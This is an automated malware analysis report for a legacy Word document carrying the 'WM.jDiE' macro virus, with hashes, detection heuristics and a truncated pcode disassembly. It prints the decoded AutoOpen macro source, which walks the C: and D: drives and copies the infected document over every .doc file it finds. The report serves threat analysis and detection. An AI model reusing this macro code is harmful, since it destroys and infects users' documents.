Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9706088416893d1e…

MALICIOUS

Office (OLE)

28.5 KB Created: 2002-08-22 05:55:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 641b88876861909b1f49a2f9a648bcd5 SHA-1: e913350dcb67e1bc56196b331579a01a403fe2f8 SHA-256: 9706088416893d1ed0d8ac68492fc9c5114e67b65feb0021e2596a396b187aec
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains a legacy WordBasic AutoOpen macro, identified by the 'OLE_LEGACY_WORDBASIC_AUTOEXEC' and 'OLE_VBA_AUTOOPEN' heuristics. The script iterates through directories and attempts to copy '.doc' files, using the string 'jDiE' in the process. This suggests a document-spreading or data-gathering functionality, characteristic of a worm or a component of a larger attack.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-6966690-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6966690-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4618 bytes
SHA-256: 2debbc827194f4cfc343134252a1b72319d973cd601c0cc51e7c614fd3d60717
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

'.---------.
': WM.jDiE :
'`---------'

Public Sub MAIN()
Dim d
On Error GoTo -1: On Error GoTo EndMain
For d = Asc("C") To Asc("D")
        Troi Chr(d), Chr(d) + ":\"
Next d
EndMain:
End Sub

Private Sub Troi(d$, path$)
Dim DirNum
Dim i
Dim CurDir_$
Dim f$
Dim c
DirNum = WordBasic.CountDirectories(path$)
If DirNum = -1 Then GoTo FindFile
For i = 1 To DirNum
        CurDir_$ = WordBasic.[GetDirectory$](path$, i)
        Troi d$, path$ + CurDir_$ + "\"
Next i
FindFile:
f$ = WordBasic.[Files$](path$ + "*.doc")
c = -1
While f$ <> ""
        c = c + 1
        f$ = WordBasic.[Files$]()
Wend
If c > -1 Then
        f$ = WordBasic.[Files$](path$ + "*.doc")
        WordBasic.CopyFile FileName:=WordBasic.[FileName$](), Directory:=f$
        For i = 1 To count_
                f$ = WordBasic.[Files$]()
                WordBasic.CopyFile FileName:=WordBasic.[FileName$](), Directory:=f$
        Next i
End If
WordBasic.ToolsOptionsUserInfo Name:="jDiE"
WordBasic.PrintStatusBar "jDiE here!"
End Sub

' Processing file: /opt/analyzer/scan_staging/92057f99cca042cc8f2745483e6fcb7f.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 2840 bytes
' Line #0:
' Line #1:
' 	QuoteRem 0x0000 0x000B ".---------."
' Line #2:
' 	QuoteRem 0x0000 0x000B ": WM.jDiE :"
' Line #3:
' 	QuoteRem 0x0000 0x000B "`---------'"
' Line #4:
' Line #5:
' 	FuncDefn (Public Sub MAIN())
' Line #6:
' 	Dim 
' 	VarDefn d
' Line #7:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError EndMain 
' Line #8:
' 	StartForVariable 
' 	Ld d 
' 	EndForVariable 
' 	LitStr 0x0001 "C"
' 	ArgsLd Asc 0x0001 
' 	LitStr 0x0001 "D"
' 	ArgsLd Asc 0x0001 
' 	For 
' Line #9:
' 	Ld d 
' 	ArgsLd Chr 0x0001 
' 	Ld d 
' 	ArgsLd Chr 0x0001 
' 	LitStr 0x0002 ":\"
' 	Add 
' 	ArgsCall Troi 0x0002 
' Line #10:
' 	StartForVariable 
' 	Ld d 
' 	EndForVariable 
' 	NextVar 
' Line #11:
' 	Label EndMain 
' Line #12:
' 	EndSub 
' Line #13:
' Line #14:
' 	FuncDefn (Private Sub Troi(d, path))
' Line #15:
' 	Dim 
' 	VarDefn DirNum
' Line #16:
' 	Dim 
' 	VarDefn i
' Line #17:
' 	Dim 
' 	VarDefn CurDir_
' Line #18:
' 	Dim 
' 	VarDefn False
' Line #19:
' 	Dim 
' 	VarDefn c
' Line #20:
' 	Ld path$ 
' 	Ld WordBasic 
' 	ArgsMemLd CountDirectories 0x0001 
' 	St DirNum 
' Line #21:
' 	Ld DirNum 
' 	LitDI2 0x0001 
' 	UMi 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo FindFile 
' 	EndIf 
' Line #22:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld DirNum 
' 	For 
' Line #23:
' 	Ld path$ 
' 	Ld i 
' 	Ld WordBasic 
' 	ArgsMemLd [GetDirectory$] 0x0002 
' 	St CurDir_$ 
' Line #24:
' 	Ld d$ 
' 	Ld path$ 
' 	Ld CurDir_$ 
' 	Add 
' 	LitStr 0x0001 "\"
' 	Add 
' 	ArgsCall Troi 0x0002 
' Line #25:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #26:
' 	Label FindFile 
' Line #27:
' 	Ld path$ 
' 	LitStr 0x0005 "*.doc"
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemLd [Files$] 0x0001 
' 	St False$ 
' Line #28:
' 	LitDI2 0x0001 
' 	UMi 
' 	St c 
' Line #29:
' 	Ld False$ 
' 	LitStr 0x0000 ""
' 	Ne 
' 	While 
' Line #30:
' 	Ld c 
' 	LitDI2 0x0001 
' 	Add 
' 	St c 
' Line #31:
' 	Ld WordBasic 
' 	ArgsMemLd [Files$] 0x0000 
' 	St False$ 
' Line #32:
' 	Wend 
' Line #33:
' 	Ld c 
' 	LitDI2 0x0001 
' 	UMi 
' 	Gt 
' 	IfBlock 
' Line #34:
' 	Ld path$ 
' 	LitStr 0x0005 "*.doc"
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemLd [Files$] 0x0001 
' 	St False$ 
' Line #35:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	ParamNamed FileName 
' 	Ld False$ 
' 	ParamNamed Directory 
' 	Ld WordBasic 
' 	ArgsMemCall CopyFile 0x0002 
' Line #36:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld count_ 
' 	For 
' Line #37:
' 	Ld WordBasic 
' 	ArgsMemLd [Files$] 0x0000 
' 	
... (truncated)

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